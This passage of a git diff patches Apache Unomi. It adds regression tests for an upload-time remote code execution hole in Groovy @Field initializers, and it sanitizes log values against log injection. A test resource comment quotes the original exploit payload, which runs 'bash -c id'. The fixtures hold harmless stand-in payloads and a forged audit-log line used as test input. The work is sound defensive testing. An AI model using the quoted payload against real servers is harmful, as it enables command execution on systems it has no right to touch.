payload wrote " + proof
+                            + " at save time, which is remote code execution 
at upload",
+                    Files.exists(proof));
+        } finally {
+            System.clearProperty("unomi.test.rceProofPath");
+            Files.deleteIfExists(proof);
+            Files.deleteIfExists(tempDir);
+        }
+    }
+
+    /**
+     * Drops the {@code @Action} line so the positive control compiles under a 
bare {@link GroovyShell},
+     * which has neither the service's ImportCustomizer nor its script base 
class. The {@code @Field}
+     * payload — the only part under test — is untouched.
+     */
+    private static String stripActionAnnotation(String script) {
+        return script.replaceAll("(?m)^@Action\\(.*\\)$", "");
+    }
+
+    /**
+     * The action name is the uploaded filename on the REST path, so it is 
caller-controlled, and it
+     * ends up in a dozen log messages including the upload audit record. A 
newline in it would let
+     * an uploader append forged log lines — hiding their own upload behind a 
fabricated one. Reject
+     * it at the entry point rather than sanitizing at each log site, which 
the next log statement
+     * would forget.
+     */
+    @Test
+    public void testSaveRejectsActionNamesWithControlCharacters() throws 
Exception {
+        String groovyScript = loadGroovyScript(
+            "/META-INF/cxs/actions/testSaveAction.groovy",
+            "Could not find test Groovy action file");
+        String forgedName = "innocent\n2026-08-08 12:00:00 WARN  AUDIT 
groovy-action save: action=approved";
+
+        contextManager.executeAsTenant(TENANT_1, () -> {
+            try {
+                groovyActionsService.save(forgedName, groovyScript);
+                fail("an action name containing a newline must be rejected");
+            } catch (IllegalArgumentException e) {
+                assertTrue(e.getMessage(), e.getMessage().contains("control 
characters"));
+            }
+            try {
+                groovyActionsService.remove(forgedName);
+                fail("remove must reject the same names as save");
+            } catch (IllegalArgumentException e) {
+                assertTrue(e.getMessage(), e.getMessage().contains("control 
characters"));
+            }
+            // U+2028 is a line terminator that Character.isISOControl does 
not report, so a check
+            // written against that predicate alone would let this through.
+            try {
+                groovyActionsService.save("innocent\u2028forged-record", 
groovyScript);
+                fail("U+2028 LINE SEPARATOR must be rejected too");
+            } catch (IllegalArgumentException e) {
+                assertTrue(e.getMessage(), e.getMessage().contains("control 
characters"));
+            }
+        });
+    }
+
     @Test
     public void testRemoveGroovyAction() throws Exception {
         // First save an action
diff --git 
a/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/fieldInitializerAction.groovy
 
b/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/fieldInitializerAction.groovy
new file mode 100644
index 000000000..92f96783e
--- /dev/null
+++ 
b/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/fieldInitializerAction.groovy
@@ -0,0 +1,27 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+import groovy.transform.Field
+
+// Stand-in for the reported upload-time RCE payload: a @Field initializer 
runs when the script class
+// is *instantiated*. Saving this action must compile it without instantiating 
it, so this must NOT
+// run. It writes a system property rather than executing a command so the 
test stays harmless.
+@Field def sideEffect = { 
System.setProperty("unomi.test.groovyFieldInitializerRan", "true") }()
+
+@Action(id = "fieldInitializerAction", actionExecutor = 
"groovy:fieldInitializerAction")
+def execute() {
+    return EventService.NO_CHANGE
+}
diff --git 
a/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/rceProofAction.groovy
 
b/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/rceProofAction.groovy
new file mode 100644
index 000000000..4bc5a7fdf
--- /dev/null
+++ 
b/extensions/groovy-actions/services/src/test/resources/META-INF/cxs/actions/rceProofAction.groovy
@@ -0,0 +1,37 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+import groovy.transform.Field
+
+// Faithful stand-in for the reported upload-time RCE payload, which was:
+//     @Field def proof = { new File("/tmp/rce_proof_id").text = 
["bash","-c","id"].execute().text }()
+// A Groovy @Field initializer runs when the script class is INSTANTIATED, so 
uploading this used to
+// execute a command at save time, before any rule dispatched the action. 
Saving it must compile the
+// script without instantiating it, so this must never run.
+//
+// The command is a harmless `echo` and the target path is injected by the 
test rather than
+// hard-coded, so the payload cannot write outside the test's own temp 
directory.
+@Field def proof = {
+    String target = System.getProperty("unomi.test.rceProofPath")
+    if (target != null) {
+        new File(target).text = ["sh", "-c", "echo 
pwned-at-upload-time"].execute().text
+    }
+}()
+
+@Action(id = "rceProofAction", actionExecutor = "groovy:rceProofAction")
+def execute() {
+    return EventService.NO_CHANGE
+}
diff --git 
a/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/actions/UpdatePropertiesAction.java
 
b/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/actions/UpdatePropertiesAction.java
index 8dd3246fe..c5ea1c5f6 100644
--- 
a/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/actions/UpdatePropertiesAction.java
+++ 
b/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/actions/UpdatePropertiesAction.java
@@ -25,6 +25,7 @@ import org.apache.unomi.api.PropertyType;
 import org.apache.unomi.api.actions.Action;
 import org.apache.unomi.api.actions.ActionExecutor;
 import org.apache.unomi.api.security.SecurityService;
+import org.apache.unomi.api.utils.LogSanitizer;
 import org.apache.unomi.api.security.UnomiRoles;
 import org.apache.unomi.api.services.EventService;
 import org.apache.unomi.api.services.ProfileService;
@@ -83,7 +84,8 @@ public class UpdatePropertiesAction implements ActionExecutor 
{
 
             if (StringUtils.isNotBlank(targetId) && event.getProfile() != null 
&& !targetId.equals(event.getProfile().getItemId())) {
                 if (!trustedCaller) {
-                    LOGGER.warn("Refusing cross-profile property update for 
untrusted caller (targetId={})", targetId);
+                    LOGGER.warn("Refusing cross-profile property update for 
untrusted caller (targetId={})",
+                            LogSanitizer.forLogging(targetId));
                     if (tracer != null) {
                         tracer.endOperation(false, "Untrusted caller cannot 
update another profile");
                     }
@@ -94,7 +96,7 @@ public class UpdatePropertiesAction implements ActionExecutor 
{
                     if (tracer != null) {
                         tracer.endOperation(false, "No profile found with Id: 
" + targetId);
                     }
-                    LOGGER.warn("No profile found with Id : {}. Update 
skipped.", targetId);
+                    LOGGER.warn("No profile found with Id : {}. Update 
skipped.", LogSanitizer.forLogging(targetId));
                     return EventService.NO_CHANGE;
                 }
             }
@@ -121,7 +123,7 @@ public class UpdatePropertiesAction implements 
ActionExecutor {
             if (propsToDelete != null) {
                 for (String prop : propsToDelete) {
                     if (!trustedCaller && 
prop.startsWith(SYSTEM_PROPERTIES_PREFIX)) {
-                        LOGGER.warn("Refusing systemProperties delete for 
untrusted caller: {}", prop);
+                        LOGGER.warn("Refusing systemProperties delete for 
untrusted caller: {}", LogSanitizer.forLogging(prop));
                         continue;
                     }
                     isProfileOrPersonaUpdated |= 
PropertyHelper.setProperty(target, prop, null, "remove");
@@ -163,7 +165,7 @@ public class UpdatePropertiesAction implements 
ActionExecutor {
         boolean isProfileOrPersonaUpdated = false;
         for (String prop : propsMap.keySet()) {
             if (!trustedCaller && prop.startsWith(SYSTEM_PROPERTIES_PREFIX)) {
-                LOGGER.warn("Refusing systemProperties update for untrusted 
caller: {}", prop);
+                LOGGER.warn("Refusing systemProperties update for untrusted 
caller: {}", LogSanitizer.forLogging(prop));
                 continue;
             }
             PropertyType propType = null;
diff --git 
a/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java 
b/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java
index e9e2f4f39..5747a9722 100644
--- a/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java
+++ b/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java
@@ -48,24 +48,19 @@ final class LogSanitizer {
      * Replaces every character that is not printable ASCII (or is a 
log-format marker such as
      * {@code \ { } % $}) with an underscore. This removes newlines, tabs and 
other control
      * characters that could be used for log injection.
+     * <p>
+     * Delegates to {@link org.apache.unomi.api.utils.LogSanitizer}, which is 
the one implementation
+     * of this filter, shared with the bundles outside {@code rest} that also 
log request-derived
+     * values. This class keeps only the REST-specific length limits and field 
shapes below.
+     * <p>
+     * Note the empty-string result for {@code null} is preserved here: the 
exception mappers embed
+     * this in user-facing messages where the literal {@code "null"} would 
read as a value.
      */
     static String forLogging(String input) {
         if (input == null) {
             return "";
         }
-        if (input.length() > MAX_MESSAGE_LENGTH) {
-            input = input.substring(0, MAX_MESSAGE_LENGTH) + "...[truncated]";
-        }
-        StringBuilder sanitized = new StringBuilder(input.length());
-        for (int i = 0; i < input.length(); i++) {
-            char c = input.charAt(i);
-            if (c >= 0x20 && c <= 0x7E && c != '\\' && c != '{' && c != '}' && 
c != '%' && c != '$') {
-                sanitized.append(c);
-            } else {
-                sanitized.append('_');
-            }
-        }
-        return sanitized.toString();
+        return org.apache.unomi.api.utils.LogSanitizer.forLogging(input, 
MAX_MESSAGE_LENGTH);
     }
 
     static String url(String url) {
diff --git 
a/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java
 
b/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java
index 406539378..f4e91defb 100644
--- 
a/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java
+++ 
b/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java
@@ -22,6 +22,7 @@ import 
org.apache.cxf.interceptor.security.RolePrefixSecurityContextImpl;
 import org.apache.cxf.jaxrs.utils.JAXRSUtils;
 import org.apache.unomi.api.*;
 import org.apache.unomi.api.security.SecurityService;
+import org.apache.unomi.api.utils.LogSanitizer;
 import org.apache.unomi.api.security.TenantPrincipal;
 import org.apache.unomi.api.security.UnomiRoles;
 import org.apache.unomi.api.services.ConfigSharingService;
@@ -149,7 +150,7 @@ public class RestServiceUtilsImpl implements 
RestServiceUtils {
             // (including when no cookie is present — otherwise knowing a UUID 
is enough to load it).
             if (requestedBodyProfileId != null && 
!requestedBodyProfileId.equals(cookieProfileIdAtRequest)) {
                 LOGGER.debug("Ignoring body profileId {} from public caller 
(cookie profileId is {})",
-                        requestedBodyProfileId, cookieProfileIdAtRequest);
+                        LogSanitizer.forLogging(requestedBodyProfileId), 
LogSanitizer.forLogging(cookieProfileIdAtRequest));
             }
             profileId = cookieProfileIdAtRequest;
         } else if (profileId == null) {
@@ -173,7 +174,8 @@ public class RestServiceUtilsImpl implements 
RestServiceUtils {
                     && 
!existingSession.getProfileId().equals(cookieProfileIdAtRequest)) {
                 LOGGER.warn("Refusing to invalidate session {} owned by 
profile {} for a public caller "
                                 + "whose cookie bearer is {}",
-                        effectiveSessionId, existingSession.getProfileId(), 
cookieProfileIdAtRequest);
+                        LogSanitizer.forLogging(effectiveSessionId), 
LogSanitizer.forLogging(existingSession.getProfileId()),
+                        LogSanitizer.forLogging(cookieProfileIdAtRequest));
                 eventsRequestContext.setSessionRefused(true);
                 effectiveSessionId = null;
             }
@@ -223,7 +225,8 @@ public class RestServiceUtilsImpl implements 
RestServiceUtils {
                             if (sessionProfileWithId != null) {
                                 
eventsRequestContext.setProfile(sessionProfileWithId);
                             } else {
-                                LOGGER.warn("Couldn't find profile ID {} 
referenced from session with ID {}, so we re-create it", 
sessionProfile.getItemId(), effectiveSessionId);
+                                LOGGER.warn("Couldn't find profile ID {} 
referenced from session with ID {}, so we re-create it",
+                                        
LogSanitizer.forLogging(sessionProfile.getItemId()), 
LogSanitizer.forLogging(effectiveSessionId));
                                 
eventsRequestContext.setProfile(createNewProfile(sessionProfile.getItemId(), 
timestamp));
                             }
                         } else if (trustedExplicitProfileOverride) {
@@ -232,7 +235,8 @@ public class RestServiceUtilsImpl implements 
RestServiceUtils {
                         } else {
                             LOGGER.warn("Refusing to switch profile from {} to 
session profile {} without matching cookie bearer; "
                                             + "detaching session {} for this 
request",
-                                    
eventsRequestContext.getProfile().getItemId(), sessionProfile.getItemId(), 
effectiveSessionId);
+                                    
LogSanitizer.forLogging(eventsRequestContext.getProfile().getItemId()),
+                                    
LogSanitizer.forLogging(sessionProfile.getItemId()), 
LogSanitizer.forLogging(effectiveSessionId));
                             // Detach so we neither adopt the foreign profile 
nor rebind the foreign
                             // session. No session exists for the rest of the 
request; the response
                             // must not echo the refused id back (see 
EventsRequestContext#isSessionRefused).

Reply via email to